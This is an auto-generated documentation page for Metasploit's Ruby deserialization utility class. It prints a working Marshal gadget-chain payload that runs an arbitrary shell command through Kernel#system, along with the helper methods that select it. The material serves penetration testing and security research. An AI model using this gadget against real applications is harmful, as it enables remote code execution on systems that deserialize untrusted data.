jenkins-metasploit
318 lines
10 KiB
HTML
318 lines
10 KiB
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Class: Msf::Util::RubyDeserialization
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<span class='title'><span class='object_link'><a href="../../Msf.html" title="Msf (module)">Msf</a></span></span> » <span class='title'><span class='object_link'><a href="../Util.html" title="Msf::Util (module)">Util</a></span></span>
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<span class="title">RubyDeserialization</span>
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<div id="content"><h1>Class: Msf::Util::RubyDeserialization
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</h1>
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<div class="box_info">
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<dt>Inherits:</dt>
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<span class="inheritName">Object</span>
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<ul class="fullTree">
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<li>Object</li>
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<li class="next">Msf::Util::RubyDeserialization</li>
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</ul>
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<a href="#" class="inheritanceTree">show all</a>
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<dl>
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<dt>Defined in:</dt>
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<dd>lib/msf/util/ruby_deserialization.rb</dd>
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</dl>
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<h2>Overview</h2><div class="docstring">
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<div class="discussion">
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<p>Ruby deserialization class</p>
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</div>
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<div class="tags">
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<h2>
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Constant Summary
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<small><a href="#" class="constants_summary_toggle">collapse</a></small>
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</h2>
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<dl class="constants">
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<dt id="PAYLOADS-constant" class="">PAYLOADS =
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<div class="docstring">
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<div class="discussion">
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<p>That could be in the future a list of payloads used to exploit the Ruby deserialization vulnerability.</p>
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</div>
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</div>
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<div class="tags">
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</div>
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</dt>
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<dd><pre class="code"><span class='lbrace'>{</span>
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<span class='comment'># https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
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</span> <span class='label'>net_writeadapter:</span> <span class='id identifier rubyid_proc'>proc</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_command'>command</span><span class='op'>|</span>
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<span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement</span><span class='tstring_end'>"</span></span> \
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<span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:</span><span class='tstring_end'>"</span></span> \
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<span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI</span><span class='embexpr_beg'>#{</span><span class='const'>Marshal</span><span class='period'>.</span><span class='id identifier rubyid_dump'>dump</span><span class='lparen'>(</span><span class='const'><span class='object_link'><a href="../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alphanumeric'>rand_text_alphanumeric</span><span class='lparen'>(</span><span class='int'>12</span><span class='op'>..</span><span class='int'>20</span><span class='rparen'>)</span><span class='rparen'>)</span><span class='lbracket'>[</span><span class='int'>2</span><span class='op'>..</span><span class='op'>-</span><span class='int'>1</span><span class='rbracket'>]</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span> \
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<span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14</span><span class='tstring_end'>"</span></span> \
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<span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r</span><span class='tstring_end'>"</span></span> \
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<span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>@git_setI</span><span class='embexpr_beg'>#{</span><span class='const'>Marshal</span><span class='period'>.</span><span class='id identifier rubyid_dump'>dump</span><span class='lparen'>(</span><span class='id identifier rubyid_command'>command</span><span class='rparen'>)</span><span class='lbracket'>[</span><span class='int'>2</span><span class='op'>..</span><span class='op'>-</span><span class='int'>1</span><span class='rbracket'>]</span><span class='embexpr_end'>}</span><span class='tstring_content'>\x06;\fT;\x12:\fresolve</span><span class='tstring_end'>"</span></span>
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<span class='kw'>end</span>
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<span class='rbrace'>}</span></pre></dd>
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</dl>
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<h2>
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Class Method Summary
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<small><a href="#" class="summary_toggle">collapse</a></small>
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</h2>
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<ul class="summary">
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<span class="summary_signature">
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<a href="#payload-class_method" title="payload (class method)">.<strong>payload</strong>(payload_name, command = nil) ⇒ Object </a>
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<a href="#payload_names-class_method" title="payload_names (class method)">.<strong>payload_names</strong> ⇒ Object </a>
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<div id="class_method_details" class="method_details_list">
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<h2>Class Method Details</h2>
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<div class="method_details first">
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<h3 class="signature first" id="payload-class_method">
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.<strong>payload</strong>(payload_name, command = nil) ⇒ <tt>Object</tt>
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</h3><div class="docstring">
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<div class="tags">
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<p class="tag_title">Raises:</p>
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<ul class="raise">
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<li>
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<span class='type'>(<tt>ArgumentError</tt>)</span>
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</ul>
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21
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26</pre>
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</td>
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<td>
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<pre class="code"><span class="info file"># File 'lib/msf/util/ruby_deserialization.rb', line 21</span>
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<span class='kw'>def</span> <span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span><span class='lparen'>(</span><span class='id identifier rubyid_payload_name'>payload_name</span><span class='comma'>,</span> <span class='id identifier rubyid_command'>command</span> <span class='op'>=</span> <span class='kw'>nil</span><span class='rparen'>)</span>
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<span class='id identifier rubyid_raise'>raise</span> <span class='const'>ArgumentError</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_payload_name'>payload_name</span><span class='embexpr_end'>}</span><span class='tstring_content'> payload not found in payloads</span><span class='tstring_end'>"</span></span> <span class='kw'>unless</span> <span class='id identifier rubyid_payload_names'>payload_names</span><span class='period'>.</span><span class='id identifier rubyid_include?'>include?</span> <span class='id identifier rubyid_payload_name'>payload_name</span><span class='period'>.</span><span class='id identifier rubyid_to_sym'>to_sym</span>
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<span class='const'><span class='object_link'><a href="#PAYLOADS-constant" title="Msf::Util::RubyDeserialization::PAYLOADS (constant)">PAYLOADS</a></span></span><span class='lbracket'>[</span><span class='id identifier rubyid_payload_name'>payload_name</span><span class='period'>.</span><span class='id identifier rubyid_to_sym'>to_sym</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_call'>call</span><span class='lparen'>(</span><span class='id identifier rubyid_command'>command</span><span class='rparen'>)</span>
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<span class='kw'>end</span></pre>
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</tr>
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</table>
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</div>
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<div class="method_details ">
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<h3 class="signature " id="payload_names-class_method">
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.<strong>payload_names</strong> ⇒ <tt>Object</tt>
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</h3><table class="source_code">
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<tr>
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<td>
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<pre class="lines">
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28
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30</pre>
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</td>
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<td>
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<pre class="code"><span class="info file"># File 'lib/msf/util/ruby_deserialization.rb', line 28</span>
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<span class='kw'>def</span> <span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_payload_names'>payload_names</span>
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<span class='const'><span class='object_link'><a href="#PAYLOADS-constant" title="Msf::Util::RubyDeserialization::PAYLOADS (constant)">PAYLOADS</a></span></span><span class='period'>.</span><span class='id identifier rubyid_keys'>keys</span>
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<span class='kw'>end</span></pre>
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Generated on Fri May 8 17:03:31 2026 by
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<a href="https://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a>
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0.9.37 (ruby-3.1.5).
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